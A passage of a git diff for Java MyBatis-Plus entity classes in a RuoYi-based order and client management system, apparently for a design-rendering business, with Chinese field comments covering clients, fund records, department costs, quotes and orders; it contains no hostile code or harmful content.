b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClient.java @@ -1,176 +1,176 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.FieldFill; -import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.math.BigDecimal; -import java.util.Date; - -/** - * 客户对象 tp_client - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_client") -public class TpClient { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属用户 - */ - private Long uid; - - /** - * 客服编号 - */ - @TableField(fill = FieldFill.INSERT_UPDATE) - private String sname; - - /** - * 客户编号 - */ - private String code; - - /** - * 客户姓名 - */ - private String name; - - /** - * 电话号码 - */ - private String phone; - - /** - * 性别 - */ - private String sex; - - /** - * 客户类型 - */ - private Long type; - - /** - * 主营业务类型 - */ - private Long ywtype; - - /** - * 状态(1=正常,2=禁用) - */ - private Long state; - - /** - * 备注 - */ - private String remark; - - /** - * 录入时间 - */ - private Date addTime; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Integer isDel; - - /** - * 会员到期时间 - */ - private Long vipEnd; - - /** - * 操作人 - */ - private String addUser; - - /** - * 会员等级 - */ - private Long vip; - - /** - * 余额 - */ - private BigDecimal yue; - - /** - * 总消费 - */ - private BigDecimal allPrice; - - /** - * 改图会员 - */ - private Long gtVip; - - /** - * 健康状态 - */ - private Integer health; - - /** - * 省 - */ - private String province; - - /** - * 市 - */ - private String city; - - /** - * 地区 - */ - private String area; - - /** - * 积分 - */ - private Long integral; - - /** - * 订单数量 - */ -// private Long count; - - /** - * 下单总额 - */ - private BigDecimal price; - - /** - * 实付余额 - */ - private BigDecimal payPrice; - - /** - * 未付余额 - */ - private BigDecimal noPrice; - - /** - * 到款率 - */ - private Long lv; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.math.BigDecimal; +import java.util.Date; + +/** + * 客户对象 tp_client + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_client") +public class TpClient { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属用户 + */ + private Long uid; + + /** + * 客服编号 + */ + @TableField(fill = FieldFill.INSERT_UPDATE) + private String sname; + + /** + * 客户编号 + */ + private String code; + + /** + * 客户姓名 + */ + private String name; + + /** + * 电话号码 + */ + private String phone; + + /** + * 性别 + */ + private String sex; + + /** + * 客户类型 + */ + private Long type; + + /** + * 主营业务类型 + */ + private Long ywtype; + + /** + * 状态(1=正常,2=禁用) + */ + private Long state; + + /** + * 备注 + */ + private String remark; + + /** + * 录入时间 + */ + private Date addTime; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Integer isDel; + + /** + * 会员到期时间 + */ + private Long vipEnd; + + /** + * 操作人 + */ + private String addUser; + + /** + * 会员等级 + */ + private Long vip; + + /** + * 余额 + */ + private BigDecimal yue; + + /** + * 总消费 + */ + private BigDecimal allPrice; + + /** + * 改图会员 + */ + private Long gtVip; + + /** + * 健康状态 + */ + private Integer health; + + /** + * 省 + */ + private String province; + + /** + * 市 + */ + private String city; + + /** + * 地区 + */ + private String area; + + /** + * 积分 + */ + private Long integral; + + /** + * 订单数量 + */ +// private Long count; + + /** + * 下单总额 + */ + private BigDecimal price; + + /** + * 实付余额 + */ + private BigDecimal payPrice; + + /** + * 未付余额 + */ + private BigDecimal noPrice; + + /** + * 到款率 + */ + private Long lv; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClientFund.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClientFund.java new file mode 100644 index 0000000..e4006f1 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClientFund.java @@ -0,0 +1,82 @@ +package org.dromara.work.domain; + +import org.dromara.common.mybatis.core.domain.BaseEntity; +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.math.BigDecimal; + +import java.io.Serial; + +/** + * 客户资金记录对象 tp_client_fund + * + * @author Maosw + * @date 2026-01-16 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tp_client_fund") +public class TpClientFund extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 客户ID + */ + private Long kId; + + /** + * 客服客户ID + */ + private Long skId; + + /** + * 业务类型:1领款入账 2订单消费 3订单回退 4领款退回 + */ + private Integer bizType; + + /** + * 变动金额,正负数 + */ + private BigDecimal changeAmount; + + /** + * 变动前余额 + */ + private BigDecimal balanceBefore; + + /** + * 变动后余额 + */ + private BigDecimal balanceAfter; + + /** + * 领款ID + */ + private Long receiptId; + + /** + * 订单ID + */ + private Long orderId; + + /** + * 订单编号 + */ + private String orderNo; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClientStaff.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClientStaff.java index 71985e8..283d0f7 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClientStaff.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClientStaff.java @@ -1,73 +1,73 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.math.BigDecimal; -import java.util.Date; - -/** - * 客户+客服对象 tp_client_staff - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_client_staff") -public class TpClientStaff { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属客服 - */ - private Long sid; - - /** - * 客服名称 - */ - private String sname; - - /** - * 所属客户 - */ - private Long kid; - - /** - * 客户姓名 - */ - private String name; - - /** - * 备注 - */ - private String remark; - - /** - * 余额 - */ - private BigDecimal yue; - - /** - * 录入时间 - */ - private Date addTime; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Integer isDel; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.math.BigDecimal; +import java.util.Date; + +/** + * 客户+客服对象 tp_client_staff + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_client_staff") +public class TpClientStaff { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属客服 + */ + private Long sid; + + /** + * 客服名称 + */ + private String sname; + + /** + * 所属客户 + */ + private Long kid; + + /** + * 客户姓名 + */ + private String name; + + /** + * 备注 + */ + private String remark; + + /** + * 余额 + */ + private BigDecimal yue; + + /** + * 录入时间 + */ + private Date addTime; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Integer isDel; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpDeptCost.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpDeptCost.java new file mode 100644 index 0000000..1fe8630 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpDeptCost.java @@ -0,0 +1,75 @@ +package org.dromara.work.domain; + +import org.dromara.common.mybatis.core.domain.BaseEntity; +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.math.BigDecimal; + +import java.io.Serial; +import java.util.Date; + +/** + * 部门成本对象 tp_dept_cost + * + * @author Maosw + * @date 2025-11-20 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_dept_cost") +public class TpDeptCost { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @TableId(value = "id") + private Long id; + + /** + * 报表ID + */ + private Long deptReportId; + + /** + * 社保成本 + */ + private BigDecimal socialCost; + + /** + * 工资成本 + */ + private BigDecimal salaryCost; + + /** + * 房租 + */ + private BigDecimal rentCost; + + /** + * 电费 + */ + private BigDecimal electricityCost; + + /** + * 报销 + */ + private BigDecimal salesCost; + + /** + * 月份 + */ + private String month; + + /** + * 创建时间 + */ + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpDeptReport.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpDeptReport.java new file mode 100644 index 0000000..b6a06b6 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpDeptReport.java @@ -0,0 +1,120 @@ +package org.dromara.work.domain; + +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; + +import java.io.Serial; + +/** + * 部门业绩报对象 tp_dept_report + * + * @author Maosw + * @date 2025-11-19 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_dept_report") +public class TpDeptReport { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @TableId(value = "id") + private Long id; + + /** + * 部门ID + */ + private Long deptId; + + /** + * 部门名称 + */ + private String deptName; + + /** + * 部门类型 1-客服,2-技术 + */ + private Integer deptType; + + /** + * 部门是否有下级 1-有下级 2-无下级 + */ + private Integer hasChild; + + /** + * 组号 + */ + private String teamNo; + + /** + * 负责人ID + */ + private Long userId; + + /** + * 负责人名称 + */ + private String userName; + + /** + * 业绩 + */ + private BigDecimal performance; + + /** + * 订单量 + */ + private Integer orderCount; + + /** + * 投诉量 + */ + private Integer complaintCount; + + /** + * 实际已到账 + */ + private BigDecimal actualArrival; + + /** + * 会员补贴 + */ + private BigDecimal memberRecharge; + + /** + * 扣款 + */ + private BigDecimal deduction; + + /** + * 最终已到账 + */ + private BigDecimal finalArrival; + + /** + * 未到账 + */ + private BigDecimal unArrival; + + /** + * 排序 + */ + private Integer sort; + + /** + * 创建时间 + */ + @TableField(fill = FieldFill.INSERT) + private Date createTime; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpDesignQuotes.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpDesignQuotes.java index 57c73f9..3ab9d59 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpDesignQuotes.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpDesignQuotes.java @@ -1,83 +1,83 @@ -package org.dromara.work.domain; - -import com.alibaba.excel.annotation.ExcelProperty; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import com.baomidou.mybatisplus.annotation.*; -import lombok.Data; -import lombok.EqualsAndHashCode; -import java.math.BigDecimal; - -import java.io.Serial; - -/** - * 报价对象 tp_design_quotes - * - * @author Maosw - * @date 2025-03-10 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("tp_design_quotes") -public class TpDesignQuotes extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(value = "id") - private Long id; - - /** - * 客服ID - */ - private Long sid; - - /** - * 客服名称 - */ - private String sName; - - /** - * 项目名称 - */ - private String projectName; - - /** - * 客户名称 - */ - private String clientName; - - /** - * 订单JSON详细 - */ - private String orderInfo; - - /** - * 总计图数 - */ - private Integer totalImages; - - /** - * 总计金额 - */ - private BigDecimal totalAmount; - - /** - * 定金 - */ - private BigDecimal deposit; - - /** - * 备注 - */ - private String remark; - - /** - * 租户 1-设计甄选 2-制图工厂 3-室内联盟 - */ - private Integer tenant; - - -} +package org.dromara.work.domain; + +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.math.BigDecimal; + +import java.io.Serial; + +/** + * 报价对象 tp_design_quotes + * + * @author Maosw + * @date 2025-03-10 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tp_design_quotes") +public class TpDesignQuotes extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 客服ID + */ + private Long sid; + + /** + * 客服名称 + */ + private String sName; + + /** + * 项目名称 + */ + private String projectName; + + /** + * 客户名称 + */ + private String clientName; + + /** + * 订单JSON详细 + */ + private String orderInfo; + + /** + * 总计图数 + */ + private Integer totalImages; + + /** + * 总计金额 + */ + private BigDecimal totalAmount; + + /** + * 定金 + */ + private BigDecimal deposit; + + /** + * 备注 + */ + private String remark; + + /** + * 租户 1-设计甄选 2-制图工厂 3-室内联盟 + */ + private Integer tenant; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpField.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpField.java index dd91e1c..91b42ca 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpField.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpField.java @@ -1,46 +1,46 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; - -/** - * 字段管理对象 tp_field - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_field") -public class TpField { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 类型 - */ - private Long type; - - /** - * 名称 - */ - private String name; - - /** - * 创建时间 - */ - private Long addTime; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; + +/** + * 字段管理对象 tp_field + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_field") +public class TpField { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 类型 + */ + private Long type; + + /** + * 名称 + */ + private String name; + + /** + * 创建时间 + */ + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpFollow.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpFollow.java index 5990d00..19aaab4 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpFollow.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpFollow.java @@ -1,41 +1,41 @@ -package org.dromara.work.domain; - -import org.dromara.common.mybatis.core.domain.BaseEntity; -import com.baomidou.mybatisplus.annotation.*; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; - -/** - * 关注对象 tp_follow - * - * @author Maosw - * @date 2025-07-23 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_follow") -public class TpFollow { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * id - */ - @TableId(value = "id") - private Long id; - - /** - * 用户ID - */ - private Long userId; - - /** - * 被关注用户ID - */ - private Long toUserId; - - -} +package org.dromara.work.domain; + +import org.dromara.common.mybatis.core.domain.BaseEntity; +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; + +/** + * 关注对象 tp_follow + * + * @author Maosw + * @date 2025-07-23 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_follow") +public class TpFollow { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * id + */ + @TableId(value = "id") + private Long id; + + /** + * 用户ID + */ + private Long userId; + + /** + * 被关注用户ID + */ + private Long toUserId; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpIntegralDetail.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpIntegralDetail.java index 9a5347f..e863b27 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpIntegralDetail.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpIntegralDetail.java @@ -1,57 +1,57 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; - -/** - * 积分明细对象 tp_integral_detail - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("tp_integral_detail") -public class TpIntegralDetail extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属用户 - */ - private Long uid; - - /** - * 标题 - */ - private String title; - - /** - * 类型(1为加,2为减) - */ - private Long type; - - /** - * 数额 - */ - private Long price; - - /** - * 创建时间 - */ - private Long addTime; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; + +/** + * 积分明细对象 tp_integral_detail + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tp_integral_detail") +public class TpIntegralDetail extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属用户 + */ + private Long uid; + + /** + * 标题 + */ + private String title; + + /** + * 类型(1为加,2为减) + */ + private Long type; + + /** + * 数额 + */ + private Long price; + + /** + * 创建时间 + */ + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpMonth.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpMonth.java index b14a9a1..760f9fe 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpMonth.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpMonth.java @@ -1,60 +1,60 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.util.Date; - -/** - * 月目标对象 tp_month - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_month") -public class TpMonth { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 人员 - */ - private Long sid; - - /** - * 月 - */ - private String month; - - /** - * 个人目标 - */ - private Long geren; - - /** - * 公司目标 - */ - private Long gongsi; - - /** - * 创建时间 - */ - private Date addTime; - - private Long deptId; - - private String ancestors; - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.util.Date; + +/** + * 月目标对象 tp_month + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_month") +public class TpMonth { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 人员 + */ + private Long sid; + + /** + * 月 + */ + private String month; + + /** + * 个人目标 + */ + private Long geren; + + /** + * 公司目标 + */ + private Long gongsi; + + /** + * 创建时间 + */ + private Date addTime; + + private Long deptId; + + private String ancestors; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrder.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrder.java index d23e112..dfd1021 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrder.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrder.java @@ -1,294 +1,294 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.FieldFill; -import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.math.BigDecimal; -import java.util.Date; - -/** - * 订单管理对象 tp_order - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_order") -public class TpOrder { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 订单编号 - */ - private String orderId; - - /** - * 订单客户 - */ - private Long kid; - - /** - * 订单微信 - */ - private Long wid; - - /** - * 订单风格 - */ - private Long style; - - /** - * 订单空间 - */ - private String space; - - /** - * 订单品质 - */ - private Long quality; - - /** - * 备注 - */ - private String remark; - - /** - * 订单类型 - */ - private Long type; - - /** - * 状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价) - */ - private Integer state; - - /** - * 图纸数量 - */ - private Long num; - - /** - * 接待客服 - */ - private Long sid; - - /** - * 分图人员 - */ - private Long fid; - - /** - * 表现师编号 - */ - @TableField(fill = FieldFill.INSERT_UPDATE) - private Long bid; - - /** - * 订单价格 - */ - private BigDecimal price; - - /** - * 定金 - */ - private BigDecimal djPrice; - - /** - * 技术备注 - */ - private String jsRemark; - - /** - * 支付状态(1=待支付,2=尾款待支付,3=已支付) - */ - private Integer payState; - - /** - * 已付款 - */ - private BigDecimal payPrice; - - /** - * 尾款 - */ - private BigDecimal endPrice; - - /** - * 改价价格 - */ - private BigDecimal gjPrice; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Integer isDel; - - /** - * 下单时间 - */ - private Date addTime; - - /** - * 对图时间 - */ - private Date dtTime; - - /** - * 定金支付时间 - */ - private Date djpTime; - - /** - * 尾款支付时间 - */ - private Date endpTime; - - /** - * 完成时间 - */ - private Date finishTime; - - /** - * 拆单价格 - */ - private BigDecimal cdPrice; - - /** - * 技术订单价格 - */ - private BigDecimal jsPrice; - - /** - * 技术已付款 - */ - private BigDecimal jsPayPrice; - - /** - * 是否自动改价(1=否,2=是) - */ - private Integer isC; - - /** - * 自动改价价格 - */ - private BigDecimal zGjPrice; - - /** - * 客户已付款 - */ - private BigDecimal khpay; - - /** - * 改价已付款 - */ - private BigDecimal gpay; - - /** - * 是否拆单(1=否,2=是) - */ - private Integer isCd; - - /** - * 客服已付款 - */ - private BigDecimal kfpay; - - private Long deptId; - - private String ancestors; - - private Long deptIdJs; - - private String ancestorsJs; - - /** - * 客户客服ID - */ - private Long skid; - - /** - * 备用字段1 - */ - private String byOne; - - /** - * 备用字段2 - */ - private String byTwo; - - /** - * 备用字段3 - */ - private String byThree; - - /** - * 备用字段4 - */ - private Integer byFour; - - /** - * 满意度时间 - */ - private Date satisfiedTime; - - /** - * 抵扣金 - */ - private BigDecimal coupon; - - /** - * 集材社订单ID - */ - private Long jcsOrderId; - - /** - * 违约金 - */ - private BigDecimal breach; - - /** - * 接待客服名称 - */ -// private String sname; - - /** - * 分图员名称 - */ -// private String fname; - - /** - * 表现师名称 - */ -// private String bname; - - /** - * 客户名称 - */ -// private String cname; - - /** - * 微信昵称 - */ -// private String wname; - - /** - * 已付比例 - */ -// private String bili; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.math.BigDecimal; +import java.util.Date; + +/** + * 订单管理对象 tp_order + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_order") +public class TpOrder { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 订单编号 + */ + private String orderId; + + /** + * 订单客户 + */ + private Long kid; + + /** + * 订单微信 + */ + private Long wid; + + /** + * 订单风格 + */ + private Long style; + + /** + * 订单空间 + */ + private String space; + + /** + * 订单品质 + */ + private Long quality; + + /** + * 备注 + */ + private String remark; + + /** + * 订单类型 + */ + private Long type; + + /** + * 状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价) + */ + private Integer state; + + /** + * 图纸数量 + */ + private Long num; + + /** + * 接待客服 + */ + private Long sid; + + /** + * 分图人员 + */ + private Long fid; + + /** + * 表现师编号 + */ + @TableField(fill = FieldFill.INSERT_UPDATE) + private Long bid; + + /** + * 订单价格 + */ + private BigDecimal price; + + /** + * 定金 + */ + private BigDecimal djPrice; + + /** + * 技术备注 + */ + private String jsRemark; + + /** + * 支付状态(1=待支付,2=尾款待支付,3=已支付) + */ + private Integer payState; + + /** + * 已付款 + */ + private BigDecimal payPrice; + + /** + * 尾款 + */ + private BigDecimal endPrice; + + /** + * 改价价格 + */ + private BigDecimal gjPrice; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Integer isDel; + + /** + * 下单时间 + */ + private Date addTime; + + /** + * 对图时间 + */ + private Date dtTime; + + /** + * 定金支付时间 + */ + private Date djpTime; + + /** + * 尾款支付时间 + */ + private Date endpTime; + + /** + * 完成时间 + */ + private Date finishTime; + + /** + * 拆单价格 + */ + private BigDecimal cdPrice; + + /** + * 技术订单价格 + */ + private BigDecimal jsPrice; + + /** + * 技术已付款 + */ + private BigDecimal jsPayPrice; + + /** + * 是否自动改价(1=否,2=是) + */ + private Integer isC; + + /** + * 自动改价价格 + */ + private BigDecimal zGjPrice; + + /** + * 客户已付款 + */ + private BigDecimal khpay; + + /** + * 改价已付款 + */ + private BigDecimal gpay; + + /** + * 是否拆单(1=否,2=是) + */ + private Integer isCd; + + /** + * 客服已付款 + */ + private BigDecimal kfpay; + + private Long deptId; + + private String ancestors; + + private Long deptIdJs; + + private String ancestorsJs; + + /** + * 客户客服ID + */ + private Long skid; + + /** + * 备用字段1 + */ + private String byOne; + + /** + * 备用字段2 + */ + private String byTwo; + + /** + * 备用字段3 + */ + private String byThree; + + /** + * 备用字段4 + */ + private Integer byFour; + + /** + * 满意度时间 + */ + private Date satisfiedTime; + + /** + * 抵扣金 + */ + private BigDecimal coupon; + + /** + * 集材社订单ID + */ + private Long jcsOrderId; + + /** + * 违约金 + */ + private BigDecimal breach; + + /** + * 接待客服名称 + */ +// private String sname; + + /** + * 分图员名称 + */ +// private String fname; + + /** + * 表现师名称 + */ +// private String bname; + + /** + * 客户名称 + */ +// private String cname; + + /** + * 微信昵称 + */ +// private String wname; + + /** + * 已付比例 + */ +// private String bili; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderBig.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderBig.java index 0490fe4..9a2d301 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderBig.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderBig.java @@ -1,67 +1,67 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.util.Date; - -/** - * 订单大图对象 tp_order_big - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_order_big") -public class TpOrderBig { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属订单 - */ - private Long oid; - - /** - * 图片类型(1=平面大图,2全景大图) - */ - private Long type; - - /** - * 图片名称 - */ - private String name; - - /** - * 图片地址 - */ - private String pic; - - /** - * 全景地址 - */ - private String link; - - /** - * 上传时间 - */ - private Date addTime; - - /** - * 操作人 - */ - private Long addUser; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.util.Date; + +/** + * 订单大图对象 tp_order_big + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_order_big") +public class TpOrderBig { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属订单 + */ + private Long oid; + + /** + * 图片类型(1=平面大图,2全景大图) + */ + private Long type; + + /** + * 图片名称 + */ + private String name; + + /** + * 